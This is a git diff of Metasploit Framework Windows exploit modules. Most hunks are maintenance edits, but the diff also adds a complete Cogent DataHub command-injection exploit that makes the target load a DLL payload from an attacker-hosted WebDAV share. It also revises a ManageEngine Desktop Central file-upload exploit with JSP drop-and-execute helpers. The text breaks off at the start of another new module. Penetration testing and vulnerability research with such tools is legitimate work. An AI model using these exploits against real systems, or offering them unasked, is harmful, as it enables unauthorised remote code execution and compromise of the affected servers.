b9c8c5668d..e4a300eca7 100644 --- a/modules/exploits/windows/ftp/xftp_client_pwd.rb +++ b/modules/exploits/windows/ftp/xftp_client_pwd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/xlink_client.rb b/modules/exploits/windows/ftp/xlink_client.rb index 405efa59ef..3ae6ee1c56 100644 --- a/modules/exploits/windows/ftp/xlink_client.rb +++ b/modules/exploits/windows/ftp/xlink_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/xlink_server.rb b/modules/exploits/windows/ftp/xlink_server.rb index 12e7a44290..3b3d16a5ae 100644 --- a/modules/exploits/windows/ftp/xlink_server.rb +++ b/modules/exploits/windows/ftp/xlink_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/games/mohaa_getinfo.rb b/modules/exploits/windows/games/mohaa_getinfo.rb index 25f0cd0b81..406afdf4dc 100644 --- a/modules/exploits/windows/games/mohaa_getinfo.rb +++ b/modules/exploits/windows/games/mohaa_getinfo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/games/racer_503beta5.rb b/modules/exploits/windows/games/racer_503beta5.rb index e89003d457..304ddab98f 100644 --- a/modules/exploits/windows/games/racer_503beta5.rb +++ b/modules/exploits/windows/games/racer_503beta5.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,6 +34,10 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x5c\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/games/ut2004_secure.rb b/modules/exploits/windows/games/ut2004_secure.rb index 509bb4c411..c586e98158 100644 --- a/modules/exploits/windows/games/ut2004_secure.rb +++ b/modules/exploits/windows/games/ut2004_secure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index 9953aa07b0..e66d0fc578 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -42,6 +42,10 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 23 2009' )) @@ -64,15 +68,17 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => '/robohelp/server?PUBLISH=' + uid, + 'uri' => '/robohelp/server', 'version' => '1.1', 'method' => 'POST', 'data' => file, - 'headers' => - { - 'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid, - 'UID' => uid, - } + 'headers' => { + 'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid, + 'UID' => uid, + }, + 'vars_get' => { + 'PUBLISH' => uid + } }, 5) if ( res and res.message =~ /OK/ ) @@ -80,9 +86,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...") data = send_request_raw({ - 'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page , + 'uri' => normalize_uri('robohelp', 'robo','reserved', 'web', id, page), 'method' => 'GET', - 'version' => '1.0', + 'version' => '1.0' }, 5) handler diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb index 2df56e665a..88bd797a13 100644 --- a/modules/exploits/windows/http/altn_securitygateway.rb +++ b/modules/exploits/windows/http/altn_securitygateway.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/altn_webadmin.rb b/modules/exploits/windows/http/altn_webadmin.rb index 15f14cdac5..7336b28f7b 100644 --- a/modules/exploits/windows/http/altn_webadmin.rb +++ b/modules/exploits/windows/http/altn_webadmin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb index 74f405ecbe..074f885b40 100644 --- a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb +++ b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,6 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { @@ -68,10 +69,10 @@ class Metasploit3 < Msf::Exploit::Remote rand = Rex::Text.rand_text_alpha(10) sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n") - res = sock.get(-1,3) + res = sock.get_once disconnect - if (res =~ /

    BAD REQUEST<\/H1>

    Your client sent a request that this server didn't understand.
    Request:\s(\w+)/) + if (res.to_s =~ /

    BAD REQUEST<\/H1>

    Your client sent a request that this server didn't understand.
    Request:\s(\w+)/) if ($1 == rand) return Exploit::CheckCode::Vulnerable end diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb index 07a3e8a1c9..1427ae6be5 100644 --- a/modules/exploits/windows/http/apache_chunked.rb +++ b/modules/exploits/windows/http/apache_chunked.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb index 21c075b9b2..689f107920 100644 --- a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb +++ b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Privileged' => true, 'Platform' => ['win'], diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb index b8f8d6c4ed..3569fe8827 100644 --- a/modules/exploits/windows/http/apache_modjk_overflow.rb +++ b/modules/exploits/windows/http/apache_modjk_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb index e9611d2240..ac211221c8 100644 --- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb +++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb index bbf9ac4435..64898f93cc 100644 --- a/modules/exploits/windows/http/badblue_ext_overflow.rb +++ b/modules/exploits/windows/http/badblue_ext_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This is a stack buffer overflow exploit for BadBlue version 2.5. }, - 'Author' => 'acaro ', + 'Author' => 'acaro ', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/http/badblue_passthru.rb b/modules/exploits/windows/http/badblue_passthru.rb index b735bb69cf..ac84d2ff34 100644 --- a/modules/exploits/windows/http/badblue_passthru.rb +++ b/modules/exploits/windows/http/badblue_passthru.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb index fba82433b8..2119b57aab 100644 --- a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb +++ b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/bea_weblogic_post_bof.rb b/modules/exploits/windows/http/bea_weblogic_post_bof.rb index c3b57dcdaf..6cf9e98863 100644 --- a/modules/exploits/windows/http/bea_weblogic_post_bof.rb +++ b/modules/exploits/windows/http/bea_weblogic_post_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb index 5fb7a6e4e1..64cc65b2c6 100644 --- a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb +++ b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/belkin_bulldog.rb b/modules/exploits/windows/http/belkin_bulldog.rb index dc02b19e65..a314fa36cf 100644 --- a/modules/exploits/windows/http/belkin_bulldog.rb +++ b/modules/exploits/windows/http/belkin_bulldog.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 59b726893b..252c2bb0f8 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ca_igateway_debug.rb b/modules/exploits/windows/http/ca_igateway_debug.rb index 41d75c5217..c2bb5bdf61 100644 --- a/modules/exploits/windows/http/ca_igateway_debug.rb +++ b/modules/exploits/windows/http/ca_igateway_debug.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,10 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n") - banner = sock.get(-1,3) + sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n") + banner = sock.get_once - if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique? + if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique? return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index 7b11914c7e..bf2a348d46 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DisclosureDate' => 'Apr 13 2011', @@ -52,11 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb new file mode 100644 index 0000000000..3d2febc332 --- /dev/null +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -0,0 +1,449 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + # Exploitation is reliable, but the service hangs and needs manual restarting. + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize + super( + 'Name' => 'Cogent DataHub Command Injection', + 'Description' => %q{ + This module exploits an injection vulnerability in Cogent DataHub prior + to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which + makes insecure use of the datahub_command function with user controlled + data, allowing execution of arbitrary datahub commands and scripts. This + module has been tested successfully with Cogent DataHub 7.3.4 on + Windows 7 SP1. Please also note that after exploitation, the remote service + will most likely hang and restart manually. + }, + 'Author' => [ + 'John Leitch', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'Platform' => 'win', + 'References' => + [ + ['ZDI', '14-136'], + ['CVE', '2014-3789'], + ['BID', '67486'] + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => { + 'WfsDelay' => 30, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Targets' => + [ + [ 'Cogent DataHub < 7.3.5', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 29 2014' + ) + register_options( + [ + OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']), + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' + + '(do not change)', 80 ]), + OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' + + 'wait for the payload request', 20]), + OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) + ], self.class) + end + + def autofilter + false + end + + def on_request_uri(cli, request) + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + process_get(cli, request) + else + vprint_status("#{request.method} => 404 (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + end + + def process_get(cli, request) + + if blacklisted_path?(request.uri) + vprint_status("GET => 404 [BLACKLIST] (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + cli.send_response(resp) + return + end + + if request.uri.include?(@basename) + print_status("GET => Payload") + return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_dll({ :code => p.encoded }) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + return + end + + # Treat index.html specially + if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) + vprint_status("GET => REDIRECT (#{request.uri})") + resp = create_response(200, "OK") + + resp.body = %Q|| + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + + # Anything else is probably a request for a data file... + vprint_status("GET => DATA (#{request.uri})") + data = rand_text_alpha(4 + rand(4)) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + end + + # + # OPTIONS requests sent by the WebDav Mini-Redirector + # + def process_options(cli, request) + vprint_status("OPTIONS #{request.uri}") + headers = { + 'MS-Author-Via' => 'DAV', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' + + + ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' + + + 'LOCK, UNLOCK', + 'Cache-Control' => 'private' + } + resp = create_response(207, "Multi-Status") + headers.each_pair {|k,v| resp[k] = v } + resp.body = "" + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + # + # PROPFIND requests sent by the WebDav Mini-Redirector + # + def process_propfind(cli, request) + path = request.uri + vprint_status("PROPFIND #{path}") + + if path !~ /\/$/ + + if blacklisted_path?(path) + vprint_status "PROPFIND => 404 (#{path})" + resp = create_response(404, "Not Found") + resp.body = "" + cli.send_response(resp) + return + end + + if path.index(".") + vprint_status "PROPFIND => 207 File (#{path})" + body = %Q| + + +#{path} + + + +#{gen_datestamp} +#{rand(0x100000)+128000} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + + +| + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + return + else + vprint_status "PROPFIND => 301 (#{path})" + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + vprint_status "PROPFIND => 207 Directory (#{path})" + body = %Q| + + + #{path} + + + + #{gen_datestamp} + #{gen_timestamp} + "#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + + httpd/unix-directory + + HTTP/1.1 200 OK + + +| + + if request["Depth"].to_i > 0 + trail = path.split("/") + trail.shift + case trail.length + when 0 + body << generate_shares(path) + when 1 + body << generate_files(path) + end + else + vprint_status "PROPFIND => 207 Top-Level Directory" + end + + body << "" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def generate_shares(path) + share_name = @share_name + %Q| + +#{path}#{share_name}/ + + + +#{gen_datestamp} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + +httpd/unix-directory + +HTTP/1.1 200 OK + + +| + end + + def generate_files(path) + trail = path.split("/") + return "" if trail.length < 2 + + base = @basename + exts = @extensions.gsub(",", " ").split(/\s+/) + files = "" + exts.each do |ext| + files << %Q| + +#{path}#{base}.#{ext} + + + +#{gen_datestamp} +#{rand(0x10000)+120} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK +1 + + +| + end + + files + end + + def gen_timestamp(ttype=nil) + ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") + end + + def gen_datestamp(ttype=nil) + ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") + end + + # This method rejects requests that are known to break exploitation + def blacklisted_path?(uri) + share_path = "/#{@share_name}" + payload_path = "#{share_path}/#{@basename}.dll" + case uri + when payload_path + return false + when share_path + return false + else + return true + end + end + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'), + 'vars_post' => + { + 'username' => rand_text_alpha(4 + rand(4)), + 'password' => rand_text_alpha(4 + rand(4)) + } + }) + + if res && res.code == 200 && res.body =~ /PermissionRecord/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def send_injection(dll) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'), + 'vars_post' => + { + 'username' => rand_text_alpha(3 + rand(3)), + 'password' => "#{rand_text_alpha(3 + rand(3))}\")" + + "(load_plugin \"#{dll}\" 1)(\"" + } + }, 1) + + res + end + + def on_new_session(session) + if service + service.stop + end + + super + end + + def primer + print_status("#{peer} - Sending injection...") + res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll") + if res + print_error("#{peer} - Unexpected answer") + end + end + + def exploit + if datastore['UNCPATH'].blank? + @basename = rand_text_alpha(3) + @share_name = rand_text_alpha(3) + @extensions = "dll" + @system_commands_file = rand_text_alpha_lower(4) + + if (datastore['SRVHOST'] == '0.0.0.0') + @myhost = Rex::Socket.source_address('50.50.50.50') + else + @myhost = datastore['SRVHOST'] + end + + @exploit_unc = "\\\\#{@myhost}\\" + + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' + fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + + 'URIPATH=/') + end + + print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" + + "\\#{@basename}.dll") + + begin + # The Windows Webclient needs some time... + Timeout.timeout(datastore['WEBDAV_DELAY']) { super } + rescue ::Timeout::Error + service.stop if service + end + else + # Using external SMB Server + if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/ + host = $1 + share_name = $2 + dll_name = $3 + print_status("#{peer} - Sending injection...") + res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}") + if res + print_error("#{peer} - Unexpected answer") + end + else + fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + + '\\\\host\\shared_folder\\base_name.dll') + end + end + end + +end diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb index 0d6e244568..e0865db4c7 100644 --- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/coldfusion_fckeditor.rb b/modules/exploits/windows/http/coldfusion_fckeditor.rb index 0c4916713d..769d496259 100644 --- a/modules/exploits/windows/http/coldfusion_fckeditor.rb +++ b/modules/exploits/windows/http/coldfusion_fckeditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,6 +39,10 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 3 2009' )) diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index 7c9ee042fe..14427fd950 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 7ddae4d011..9a1324960a 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,11 +15,11 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', + 'Name' => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload', 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 - below build 80293. A malicious user can upload a JSP file into the web root without - authentication, leading to arbitrary code execution. + This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to + v8 build 80293. A malicious user can upload a JSP file into the web root without + authentication, leading to arbitrary code execution as SYSTEM. }, 'Author' => [ @@ -28,13 +28,16 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ] + ['CVE', '2013-7390'], + ['OSVDB', '100008'], + ['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'], + ['URL', 'http://seclists.org/fulldisclosure/2013/Nov/130'], ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ - [ 'ManageEngine DesktopCentral 8 server / Windows', {} ] + [ 'Desktop Central v7 - v8 build 80292 / Windows', {} ] ], 'Privileged' => true, 'DefaultTarget' => 0, @@ -44,49 +47,68 @@ class Metasploit3 < Msf::Exploit::Remote register_options([Opt::RPORT(8020)], self.class) end + def upload_file(filename, contents) res = send_request_cgi({ - 'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), - 'method' => 'POST', - 'data' => contents, - 'ctype' => "text/html" + 'uri' => normalize_uri('agentLogUploader'), + 'method' => 'POST', + 'data' => contents, + 'ctype' => 'text/html', + 'vars_get' => { + 'computerName' => 'DesktopCentral', + 'domainName' => 'webapps', + 'customerId' => '..', + 'filename' => filename + } }) - if res and res.code == 200 and res.body.to_s.empty? + if res && res.code == 200 && res.body.to_s.empty? return true else return false end end + # Test for Desktop Central def check res = send_request_cgi({ - 'uri' => normalize_uri("configurations.do"), - 'method' => 'GET' + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' }) - if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ - build = $1 - print_status("Manage Desktop Central 8 build #{build} found") - if build < "80293" + if res && res.code == 200 + build = nil + + if res.body.to_s =~ /ManageEngine Desktop Central 7/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 + + print_status("#{peer} - Detected Desktop Central v7") + elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ + + if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions) + build = $1 + print_status("#{peer} - Detected Desktop Central v8 #{build}") + else # DC v8 (earlier versions) + print_status("#{peer} - Detected Desktop Central v8") + end + elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?) + build = $1 + end + + if build.nil? + return Exploit::CheckCode::Unknown + elsif Gem::Version.new(build) < Gem::Version.new("80293") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end - res = send_request_cgi({ - 'uri' => normalize_uri("agentLogUploader"), - 'method' => 'POST' - }) - - if res and res.code == 200 - return Exploit::CheckCode::Detected - end - - return Exploit::CheckCode::Safe + Exploit::CheckCode::Unknown end + def exploit print_status("#{peer} - Uploading JSP to execute the payload") @@ -111,6 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote }) end + def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| @@ -138,6 +161,7 @@ class Metasploit3 < Msf::Exploit::Remote jspraw end + def jsp_execute_command(command) jspraw = %Q|\n| jspraw << %Q|<%\n| @@ -147,6 +171,7 @@ class Metasploit3 < Msf::Exploit::Remote jspraw end + def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end diff --git a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb new file mode 100644 index 0000000000..237731cadd --- /dev/null +++ b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb @@ -0,0 +1,169 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include 